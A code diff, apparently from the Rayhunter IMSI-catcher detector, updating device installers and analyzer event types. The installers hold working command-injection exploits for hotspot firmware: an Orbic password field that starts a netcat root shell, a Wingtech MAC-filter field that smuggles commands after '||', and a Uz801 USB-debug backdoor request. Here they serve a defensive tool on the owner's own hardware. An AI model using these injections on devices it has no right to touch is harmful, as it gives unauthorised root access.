const PRODUCT_ID: u16 = 0xf601;
@@ -41,7 +51,25 @@ const RNDIS_INTERFACE: u8 = 0;
#[cfg(not(target_os = "windows"))]
const RNDIS_INTERFACE: u8 = 1;
#[cfg(target_os = "windows")]
async fn confirm() -> Result<bool> {
println!("{}", WINDOWS_WARNING);
echo!("Do you wish to proceed? Enter 'yes' to install> ");
let mut input = String::new();
stdin().read_line(&mut input)?;
Ok(input.trim() == "yes")
}
pub async fn install() -> Result<()> {
#[cfg(target_os = "windows")]
{
let confirmation = confirm().await?;
if confirmation != true {
println!("Install aborted. Your device has not been modified.");
return Ok(());
}
}
let mut adb_device = force_debug_mode().await?;
echo!("Installing rootshell... ");
setup_rootshell(&mut adb_device).await?;
@@ -146,10 +174,9 @@ pub async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
if let Ok(output) = adb_command(
adb_device,
&["wget", "-O", "-", "http://localhost:8080/index.html"],
) {
if output.contains("html") {
return Ok(());
}
) && output.contains("html")
{
return Ok(());
}
failures += 1;
sleep(Duration::from_secs(3)).await;
@@ -269,14 +296,12 @@ async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
});
sleep(Duration::from_secs(1)).await;
if thread.is_finished() {
if let Ok(Ok((dev, buf))) = thread.join() {
if let Ok(s) = std::str::from_utf8(&buf) {
if s.contains(test_echo) {
return Ok(dev);
}
}
}
if thread.is_finished()
&& let Ok(Ok((dev, buf))) = thread.join()
&& let Ok(s) = std::str::from_utf8(&buf)
&& s.contains(test_echo)
{
return Ok(dev);
}
// I'd like to kill the background thread here if that was possible.
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
@@ -289,10 +314,11 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
loop {
let mut watcher = nusb::watch_devices()?;
while let Some(event) = watcher.next().await {
if let HotplugEvent::Connected(dev) = event {
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
return Ok(());
}
if let HotplugEvent::Connected(dev) = event
&& dev.vendor_id() == vendor_id
&& dev.product_id() == product_id
{
return Ok(());
}
}
}
+251
View File
@@ -0,0 +1,251 @@
use std::io::Write;
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use axum::{
Router,
body::Body,
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use reqwest::Client;
use serde::Deserialize;
use tokio::sync::mpsc;
use tokio::time::sleep;
use crate::util::{echo, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
#[derive(Deserialize, Debug)]
struct ExploitResponse {
retcode: u32,
}
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
println!("Waiting for login and trying exploit... ");
login_and_exploit(admin_ip).await?;
println!("done");
Ok(())
}
pub async fn install(admin_ip: String) -> Result<()> {
start_telnet(&admin_ip).await?;
echo!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
println!("done");
setup_rayhunter(&admin_ip).await
}
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
#[derive(Clone)]
struct ProxyState {
client: HttpProxyClient,
admin_ip: String,
session_sender: mpsc::Sender<String>,
}
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
// Check for existing session cookie in request
if let Some(cookie_header) = req.headers().get("cookie")
&& let Ok(cookie_str) = cookie_header.to_str()
&& cookie_str.contains("-goahead-session-")
{
let _ = state.session_sender.send(cookie_str.to_owned()).await;
}
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or("/");
let uri = format!("http://{}{}", state.admin_ip, path_query);
*req.uri_mut() = Uri::try_from(uri).unwrap();
let response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?;
Ok(response.into_response())
}
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
.build(HttpConnector::new());
let (tx, mut rx) = mpsc::channel(100);
let app = Router::new()
.route("/", any(proxy_handler))
.route("/{*path}", any(proxy_handler))
.with_state(ProxyState {
client,
admin_ip: admin_ip.to_owned(),
session_sender: tx,
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.context("Failed to bind to port 4000")?;
println!(
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
);
println!("Username: admin");
println!(
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
);
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let exploit_client = Client::new();
let mut last_error = None;
while let Some(cookie_header) = rx.recv().await {
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
Ok(_) => {
handle.abort();
return Ok(());
}
Err(e) => last_error = Some(e),
}
}
handle.abort();
bail!("Failed to receive session cookie, last error: {last_error:?}")
}
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", cookie_header)
// Original Orbic lacks telnetd (unlike other devices)
// When doing this, one needs to set prompt=None in the telnet utility functions
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
.send()
.await?
.json()
.await?;
if response.retcode != 0 {
bail!("unexpected response: {:?}", response);
}
Ok(())
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
while telnet_send_command(addr, "true", "exit code 0", false)
.await
.is_err()
{
if start_time.elapsed() >= timeout {
bail!(
"Timeout waiting for telnet to become available after {:?}",
timeout
);
}
sleep(Duration::from_secs(1)).await;
}
Ok(())
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
// This is really only necessary for the Moxee Hotspot
telnet_send_command(
addr,
"mount -o remount,rw /dev/ubi0_0 /",
"exit code 0",
false,
)
.await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
false,
)
.await?;
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace(r#"#device = "orbic""#, r#"device = "orbic""#)
.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
false,
)
.await?;
telnet_send_command(
addr,
"chmod +x /data/rayhunter/rayhunter-daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
false,
)
.await?;
println!("Installation complete. Rebooting device...");
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
.await
.ok();
println!(
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
admin_ip
);
Ok(())
}
+16 -4
View File
@@ -33,10 +33,10 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
println!("ok");
telnet_send_command(addr, "mount -o remount,rw /", "exit code 0").await?;
telnet_send_command(addr, "mount -o remount,rw /", "exit code 0", true).await?;
telnet_send_file(
addr,
@@ -44,6 +44,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"tmobile\"")
.as_bytes(),
true,
)
.await?;
@@ -52,36 +53,47 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0",
true,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
true,
)
.await?;
telnet_send_command(addr, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
true,
)
.await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0").await?;
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
+39 -18
View File
@@ -106,21 +106,29 @@ async fn tplink_run_install(
if !skip_sdcard {
if sdcard_path.is_empty() {
if telnet_send_command(addr, "ls /media/card", "exit code 0")
.await
.is_ok()
{
let try_paths = [
// TP-Link hardware less than v9.0
sdcard_path = "/media/card".to_owned();
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
.await
.is_ok()
{
"/media/card",
// TP-Link hardware v9.0
sdcard_path = "/media/sdcard".to_owned();
} else {
"/media/sdcard",
];
for path in try_paths {
if telnet_send_command(addr, &format!("ls {path}"), "exit code 0", true)
.await
.is_ok()
{
sdcard_path = path.to_owned();
break;
}
}
if sdcard_path.is_empty() {
anyhow::bail!(
"unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
"Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\
If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
...but none of them exist.\n\n\
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
);
}
}
@@ -130,11 +138,12 @@ async fn tplink_run_install(
addr,
&format!("mount | grep -q {sdcard_path}"),
"exit code 0",
true,
)
.await
.is_err()
{
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else {
println!("sdcard already mounted");
}
@@ -142,12 +151,13 @@ async fn tplink_run_install(
// there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?;
telnet_send_command(
addr,
&format!("ln -sf {sdcard_path} /data/rayhunter"),
"exit code 0",
true,
)
.await?;
@@ -157,6 +167,7 @@ async fn tplink_run_install(
crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"tplink\"")
.as_bytes(),
true,
)
.await?;
@@ -166,6 +177,7 @@ async fn tplink_run_install(
addr,
&format!("{sdcard_path}/rayhunter-daemon"),
rayhunter_daemon_bin,
true,
)
.await?;
@@ -173,6 +185,7 @@ async fn tplink_run_install(
addr,
"/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon(&sdcard_path).as_bytes(),
true,
)
.await?;
@@ -180,12 +193,14 @@ async fn tplink_run_install(
addr,
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
"exit code 0",
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
true,
)
.await?;
@@ -193,14 +208,20 @@ async fn tplink_run_install(
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
// is unreliable on other hardware revisions too.
if is_v3 {
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
telnet_send_command(
addr,
"update-rc.d rayhunter_daemon defaults",
"exit code 0",
true,
)
.await?;
}
println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
);
telnet_send_command(addr, "reboot", "exit code 0").await?;
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
Ok(())
}
@@ -278,7 +299,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
while telnet_send_command(addr, "true", "exit code 0")
while telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_err()
{
+48 -15
View File
@@ -22,22 +22,32 @@ pub async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
if wait_for_prompt {
// Wait for initial '#' prompt from telnetd
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
// by quoting the 'exit' here, we ensure that we do not read our own command line back as
// "output" before we even hit enter, but the actual result of executing the echo.
writer
.write_all(b"; echo command done, 'exit' code $?\r\n")
.await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let _ = timeout(Duration::from_secs(10), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
@@ -48,7 +58,12 @@ pub async fn telnet_send_command(
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
// when we see this string we know the command is done and can terminate.
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
// may not terminate the connection appropriately on their own.
let response = String::from_utf8_lossy(&read_buf);
if response.contains("command done, exit code ") {
break;
}
}
@@ -61,18 +76,34 @@ pub async fn telnet_send_command(
Ok(())
}
pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
pub async fn telnet_send_file(
addr: SocketAddr,
filename: &str,
payload: &[u8],
wait_for_prompt: bool,
) -> Result<()> {
echo!("Sending file {filename} ... ");
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
telnet_send_command(
addr,
&format!("nc -l -p 8081 >{filename}.tmp"),
"",
wait_for_prompt,
)
.await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
{
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
// ensure that stream is dropped before we wait for nc to terminate!
}
handle.await??;
}
let checksum = md5::compute(payload);
@@ -80,12 +111,14 @@ pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8])
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
wait_for_prompt,
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
wait_for_prompt,
)
.await?;
println!("ok");
@@ -100,7 +133,7 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
let addr = SocketAddr::from_str(&format!("{admin_ip}:23"))
.with_context(|| format!("Invalid IP address: {admin_ip}"))?;
telnet_send_file(addr, remote_path, &file_content)
telnet_send_file(addr, remote_path, &file_content, true)
.await
.with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?;
+239
View File
@@ -0,0 +1,239 @@
use std::io::Write;
use std::path::Path;
/// Installer for the Uz801 hotspot.
///
/// Installation process:
/// 1. Use curl to activate USB debugging backdoor
/// 2. Wait for device reboot and ADB availability
/// 3. Use ADB to install rayhunter files
/// 4. Modify startup script to launch rayhunter on boot
use std::time::Duration;
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
use anyhow::{Result, anyhow};
use md5::compute as md5_compute;
use tokio::time::sleep;
use crate::Uz801Args as Args;
use crate::util::echo;
pub async fn install(Args { admin_ip }: Args) -> Result<()> {
run_install(admin_ip).await
}
async fn run_install(admin_ip: String) -> Result<()> {
echo!("Activating USB debugging backdoor... ");
activate_usb_debug(&admin_ip).await?;
println!("ok");
echo!("Waiting for device reboot and ADB connection... ");
let mut adb_device = wait_for_adb().await?;
println!("ok");
echo!("Installing rayhunter files... ");
install_rayhunter_files(&mut adb_device).await?;
println!("ok");
echo!("Modifying startup script... ");
modify_startup_script(&mut adb_device).await?;
println!("ok");
echo!("Rebooting the device... ");
let _ = adb_device.reboot(adb_client::RebootType::System);
println!("ok");
println!("Installation complete!");
println!("Please wait for the device to reboot (light will turn green)");
println!("Then access rayhunter at: http://{admin_ip}:8080");
Ok(())
}
pub async fn activate_usb_debug(admin_ip: &str) -> Result<()> {
let url = format!("http://{admin_ip}/ajax");
let referer = format!("http://{admin_ip}/usbdebug.html");
let origin = format!("http://{admin_ip}");
let _handle = tokio::spawn(async move {
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(5))
.build()
.unwrap();
let _response = client
.post(&url)
.header("Accept", "application/json, text/javascript, */*; q=0.01")
.header("Accept-Encoding", "gzip, deflate")
.header("Referer", &referer)
.header(
"Content-Type",
"application/x-www-form-urlencoded; charset=UTF-8",
)
.header("X-Requested-With", "XMLHttpRequest")
.header("Origin", &origin)
.body(r#"{"funcNo":2001}"#)
.send()
.await;
// Ignore any errors - the device will reboot and connection will be lost
});
Ok(())
}
async fn wait_for_adb() -> Result<ADBUSBDevice> {
const MAX_ATTEMPTS: u32 = 30; // 30 seconds
let mut attempts = 0;
// Wait a bit for the reboot to start
sleep(Duration::from_secs(10)).await;
loop {
if attempts >= MAX_ATTEMPTS {
anyhow::bail!("Timeout waiting for ADB connection after USB debug activation");
}
// UZ801 USB vendor and product IDs.
// TODO: Research if other variants use different IDs.
match ADBUSBDevice::new(0x05c6, 0x90b6) {
Ok(mut device) => {
// Test ADB connection
if test_adb_connection(&mut device).await.is_ok() {
return Ok(device);
}
}
Err(RustADBError::DeviceNotFound(_)) => {
// Device not ready yet, continue waiting
}
Err(e) => {
anyhow::bail!("ADB connection error: {}", e);
}
}
sleep(Duration::from_secs(1)).await;
attempts += 1;
}
}
async fn test_adb_connection(adb_device: &mut ADBUSBDevice) -> Result<()> {
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["echo", "test"], &mut buf)?;
let output = String::from_utf8_lossy(&buf);
if output.contains("test") {
Ok(())
} else {
anyhow::bail!("ADB connection test failed")
}
}
async fn install_rayhunter_files(adb_device: &mut ADBUSBDevice) -> Result<()> {
// Create rayhunter directory
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["mkdir", "-p", "/data/rayhunter"], &mut buf)?;
// Remount system as writable
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
// Install rayhunter daemon binary with verification
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
install_file(
adb_device,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)?;
// Install config file
let config_content = crate::CONFIG_TOML.replace("#device = \"orbic\"", "device = \"uz801\"");
let mut config_data = config_content.as_bytes();
adb_device.push(&mut config_data, &"/data/rayhunter/config.toml")?;
// Make daemon executable
let mut buf = Vec::<u8>::new();
adb_device.shell_command(
&["chmod", "755", "/data/rayhunter/rayhunter-daemon"],
&mut buf,
)?;
Ok(())
}
/// Transfer a file to the device's filesystem with adb push.
/// Validates the file sends successfully to /data/local/tmp
/// before overwriting the destination.
fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
const MAX_RETRIES: u32 = 3;
let file_name = Path::new(dest)
.file_name()
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
.to_str()
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
.to_owned();
let push_tmp_path = format!("/data/local/tmp/{file_name}");
let file_hash = md5_compute(payload);
for attempt in 1..=MAX_RETRIES {
// Push the file
let mut payload_copy = payload;
if let Err(e) = adb_device.push(&mut payload_copy, &push_tmp_path) {
if attempt == MAX_RETRIES {
return Err(e.into());
}
continue;
}
// Verify with md5sum
let mut buf = Vec::<u8>::new();
if adb_device
.shell_command(&["busybox", "md5sum", &push_tmp_path], &mut buf)
.is_ok()
{
let output = String::from_utf8_lossy(&buf);
if output.contains(&format!("{file_hash:x}")) {
// Verification successful, move to final destination
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["mv", &push_tmp_path, dest], &mut buf)?;
println!("ok");
return Ok(());
}
}
// Verification failed, clean up and retry
if attempt < MAX_RETRIES {
println!("MD5 verification failed on attempt {attempt}, retrying...");
let mut buf = Vec::<u8>::new();
adb_device
.shell_command(&["rm", "-f", &push_tmp_path], &mut buf)
.ok();
}
}
anyhow::bail!("MD5 verification failed for {dest} after {MAX_RETRIES} attempts")
}
async fn modify_startup_script(adb_device: &mut ADBUSBDevice) -> Result<()> {
// Pull the existing startup script
let mut script_content = Vec::<u8>::new();
adb_device.pull(&"/system/bin/initmifiservice.sh", &mut script_content)?;
// Convert to string and add our line
let mut script_str = String::from_utf8_lossy(&script_content).into_owned();
// Add rayhunter startup line if not already present
let rayhunter_line = "/data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml &\n";
if !script_str.contains("/data/rayhunter/rayhunter-daemon") {
script_str.push_str(rayhunter_line);
}
// Push the modified script back
let mut modified_script = script_str.as_bytes();
adb_device.push(&mut modified_script, &"/system/bin/initmifiservice.sh")?;
// Make sure it's executable
let mut buf = Vec::<u8>::new();
adb_device.shell_command(
&["chmod", "755", "/system/bin/initmifiservice.sh"],
&mut buf,
)?;
Ok(())
}
+15 -4
View File
@@ -75,7 +75,7 @@ pub async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Res
.context("login did not return a token in response")?;
let command = client.post(&qcmap_web_cgi_endpoint)
.body(format!("page=setFWMacFilter&cmd=add&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
.body(format!("page=setFWMacFilter&cmd=del&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
.send()
.await?;
if command.status() != 200 {
@@ -95,7 +95,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
println!("ok");
telnet_send_file(
@@ -104,6 +104,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"wingtech\"")
.as_bytes(),
true,
)
.await?;
@@ -112,30 +113,40 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0",
true,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
true,
)
.await?;
telnet_send_command(
addr,
"update-rc.d rayhunter_daemon defaults",
"exit code 0",
true,
)
.await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0").await?;
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
+5 -2
View File
@@ -1,6 +1,6 @@
[package]
name = "rayhunter"
version = "0.5.0"
version = "0.6.0"
edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -21,7 +21,10 @@ pcap-file-tokio = "0.1.0"
pycrate-rs = { git = "https://github.com/EFForg/pycrate-rs" }
thiserror = "1.0.50"
telcom-parser = { path = "../telcom-parser" }
tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros"] }
tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros", "fs"] }
futures = { version = "0.3.30", default-features = false }
serde = { version = "1.0.197", features = ["derive"] }
serde_json = "1.0"
num_enum = "0.7.4"
[dev-dependencies]
+245 -27
View File
@@ -12,6 +12,7 @@ use super::{
imsi_requested::ImsiRequestedAnalyzer, incomplete_sib::IncompleteSibAnalyzer,
information_element::InformationElement, nas_null_cipher::NasNullCipherAnalyzer,
null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
test_analyzer::TestAnalyzer,
};
#[derive(Debug, Clone, Deserialize, Serialize)]
@@ -23,6 +24,7 @@ pub struct AnalyzerConfig {
pub null_cipher: bool,
pub nas_null_cipher: bool,
pub incomplete_sib: bool,
pub test_analyzer: bool,
}
impl Default for AnalyzerConfig {
@@ -34,37 +36,70 @@ impl Default for AnalyzerConfig {
null_cipher: true,
nas_null_cipher: true,
incomplete_sib: true,
test_analyzer: false,
}
}
}
pub const REPORT_VERSION: u32 = 2;
/// Qualitative measure of how severe a Warning event type is.
/// The levels should break down like this:
/// * Low: if combined with a large number of other Warnings, user should investigate
/// * Medium: if combined with a few other Warnings, user should investigate
/// * High: user should investigate
#[derive(Serialize, Debug, Clone)]
pub enum Severity {
Low,
Medium,
High,
/// The severity level of an event.
///
/// Informational does not result in any alert on the display.
#[derive(Serialize, Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub enum EventType {
Informational = 0,
Low = 1,
Medium = 2,
High = 3,
}
/// `QualitativeWarning` events will always be shown to the user in some manner,
/// while `Informational` ones may be hidden based on user settings.
#[derive(Serialize, Debug, Clone)]
#[serde(tag = "type")]
pub enum EventType {
Informational,
QualitativeWarning { severity: Severity },
impl<'de> Deserialize<'de> for EventType {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::de::Error;
#[derive(Deserialize)]
#[serde(tag = "type")]
enum OldEventType {
QualitativeWarning { severity: String },
Informational,
}
#[derive(Deserialize)]
#[serde(untagged)]
enum EventTypeHelper {
New(String),
Old(OldEventType),
}
match EventTypeHelper::deserialize(deserializer)? {
EventTypeHelper::New(s) => match s.as_str() {
"Informational" => Ok(EventType::Informational),
"Low" => Ok(EventType::Low),
"Medium" => Ok(EventType::Medium),
"High" => Ok(EventType::High),
_ => Err(D::Error::custom(format!("unknown EventType: {s}"))),
},
EventTypeHelper::Old(old) => match old {
OldEventType::Informational => Ok(EventType::Informational),
OldEventType::QualitativeWarning { severity } => match severity.as_str() {
"Low" => Ok(EventType::Low),
"Medium" => Ok(EventType::Medium),
"High" => Ok(EventType::High),
_ => Err(D::Error::custom(format!("unknown severity: {severity}"))),
},
},
}
}
}
/// Events are user-facing signals that can be emitted by an [Analyzer] upon a
/// message being received. They can be used to signifiy an IC detection
/// warning, or just to display some relevant information to the user.
#[derive(Serialize, Debug, Clone)]
#[derive(Serialize, Deserialize, Debug, Clone)]
pub struct Event {
pub event_type: EventType,
pub message: String,
@@ -76,14 +111,14 @@ pub struct Event {
/// many hours at a time with dozens of [Analyzers](Analyzer) working in parallel.
pub trait Analyzer {
/// Returns a user-friendly, concise name for your heuristic.
fn get_name(&self) -> Cow<str>;
fn get_name(&self) -> Cow<'_, str>;
/// Returns a user-friendly description of what your heuristic looks for,
/// the types of [Events](Event) it may return, as well as possible false-positive
/// conditions that may trigger an [Event]. If different [Events](Event) have
/// different false-positive conditions, consider including them in its
/// `message` field.
fn get_description(&self) -> Cow<str>;
fn get_description(&self) -> Cow<'_, str>;
/// Analyze a single [InformationElement], possibly returning an [Event] if your
/// heuristic deems it relevant. Again, be mindful of any state your
@@ -97,21 +132,77 @@ pub trait Analyzer {
fn get_version(&self) -> u32;
}
#[derive(Serialize, Debug)]
#[derive(Serialize, Deserialize, Debug)]
pub struct AnalyzerMetadata {
pub name: String,
pub description: String,
pub version: u32,
}
#[derive(Serialize, Debug)]
#[derive(Serialize, Deserialize, Debug)]
#[serde(default)]
#[derive(Default)]
pub struct ReportMetadata {
pub analyzers: Vec<AnalyzerMetadata>,
pub rayhunter: RuntimeMetadata,
// anytime the format of the report changes, bump this by 1
//
// the default is 0. we consider our legacy (unversioned) heuristics to be v0 -- this'll let us
// clearly differentiate some known false-positive-results from the pre-versioned era from v1
// heuristics
pub report_version: u32,
}
